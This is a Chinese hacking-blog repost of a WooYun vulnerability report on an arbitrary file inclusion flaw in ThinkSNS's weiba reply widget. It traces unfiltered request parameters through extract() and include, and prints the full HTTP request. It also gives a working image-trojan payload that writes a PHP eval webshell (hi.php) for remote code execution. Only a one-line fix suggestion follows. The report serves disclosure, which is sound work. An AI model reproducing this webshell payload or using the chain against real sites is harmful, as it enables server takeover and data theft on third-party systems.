记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

ThinkSNS任意文件包含2(可getshell)

2014-07-17 15:30

问题,今天早上无聊又打开thinksns代码查看了一番

之前提交的漏洞,不知道厂商是怎么修复的

无意中看到这样的代码

/thinksns/apps/weiba/Lib/Widget/WeibaReplyWidget/WeibaReplyWidget.class.php 199行左右

看到了这样一个变量获取方式,

1.png



如此获取变量的方式,是非常糟糕的。看EasyTalk的用户提升漏洞

WooYun: Easytalk垂直权限问题(逻辑漏洞可提权getshell)

他获取变量的方式是这样的,$userdata=$_POST["user"];造成权限提升漏洞

很明显,这样是很糟糕的。

那继续跟踪$var,但首先得搞清楚这个变量是从哪里get来的。仔细分析代码,

是在微吧里,如果用户a发了一个帖子,然后用户b回复了a的帖子,那再对b的回帖进行回复时,则触发了请求。

2.png



审查元素,数据是js动态传递的

3.png



js代码为

reply_reply:{ //点某条回复 

click:function(){

var attrs = M.getEventArgs(this);

ui.box.load(U('widget/WeibaReply/reply_reply')+'&widget_appname=weiba'+'&weiba_id='+attrs.weiba_id+'&post_id='+attrs.post_id+'&post_uid='+attrs.post_uid+'&to_reply_id='+attrs.to_reply_id+'&to_uid='+attrs.to_uid+'&to_comment_uname='+attrs.to_comment_uname+'&feed_id='+attrs.feed_id+'&addtoend='+attrs.addtoend+'&comment_id='+attrs.comment_id,L('PUBLIC_RESAVE'),function(){

$('#at-view').hide();

});

}

},



4.png



参数太多太繁杂,设置代理,用burpsuite查看连接请求,请求内容大致如下

GET /xxx/thinksns/index.php?app=widget&mod=WeibaReply&act=reply_reply&widget_appname=weiba&weiba_id=1&post_id=1&post_uid=2&to_reply_id=1&to_uid=3&to_comment_uname=test02&feed_id=4&addtoend=0&comment_id=1&_=1397798603367 HTTP/1.1

Host: x.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0

Accept: text/html, */*; q=0.01

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://x.com/xxx/thinksns/index.php?app=weiba&mod=Index&act=postDetail&post_id=1

Cookie: kio__user_login=7evb2cbXzuXQzcKTy87U5OfgyMrUrencncjX0IqjpejX2trg3OrPzcKTnMub2tqqn5mZpKvO1Jqblc3L2t3byJiapdmjo8mZmc2Js6Xr0MvHyqOdkKCVuKrG1aPD1uHS2eTMnpqWk4mQz-Hky9bg4Ji5w4WekZqjmM_Fvp2dqJjd5Z-am5eYoZi9zMrU3Kedn5aYk5qYqZi80NnO0-fjnpegkZk.; PHPSESSID=7igshj6u03ut4b2ihur7dvmbu3; T3_online_update=1397798589; T3_TSV3_LOGGED_USER=Ght4WQbI0iDrTZqHIste52cjneyh50IO; T3_TSV3_ACTIVE_TIME=1397798609

Connection: keep-alive



载入repeater进行变量的追踪调试

在reply_reply()函数里添加var_dump($var);die;//查看响应

5.png



成功返回了用户添加的自定义变量,然后继续跟踪,变量进入了

$this->renderFile(dirname(__FILE__)."/reply_reply.html",$var);中

跟踪该函数

代码/thinksns/core/OpenSociax/Widget.class.php 73行左右

protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {

$var['ts'] = $GLOBALS['ts'];

if (! file_exists_case ( $templateFile )) {

// 自动定位模板文件

// $name = substr ( get_class ( $this ), 0, - 6 );

// $filename = empty ( $templateFile ) ? $name : $templateFile;

// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );

// if (! file_exists_case ( $templateFile ))

throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );

}

// var_dump($var);die;//第二步,到了这里了

$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );



$content = fetch($templateFile,$var,$charset);



return $content;

}

}



继续dump $var变量,跟踪,变量又进入了fetch函数里了

根据之前的漏洞测试,前提交的thinksns漏洞,不知道厂商是如何修复的,

此处按官方的原版函数

代码/thinksns/core/OpenSociax/functions.inc.php 939行左右

此函数不分析,上个漏洞已经有流程了,直接在最后

// var_dump($tvar);die;

extract($tvar, EXTR_OVERWRITE);



//载入模版缓存文件

include $templateCacheFile;



输出变量,查看用户可控的变量是否还在,结果如图

6.png



为了测试方便直接在目录上放置图片木马,成功包含后,会在根目录下生成一句话木马,具体的拿shell方法跟上个漏洞所提的方法一样。

注册普通用户,上传图片木马,图片木马嵌入代码为

gif89a<?php file_put_contents("hi.php","<?php @eval(\$_POST[a])?>");?>

2.上传图片,获得图片后,执行包含,则在根目录下生成hi.php

7.png

漏洞证明:

如上详细描述

修复方案:

首先变量那样获取是很糟糕的,其次是那个函数问题,酌情修复吧:)

知识来源: www.wooyun.org/bugs/wooyun-2014-057567

阅读:386267 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“ThinkSNS任意文件包含2(可getshell)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云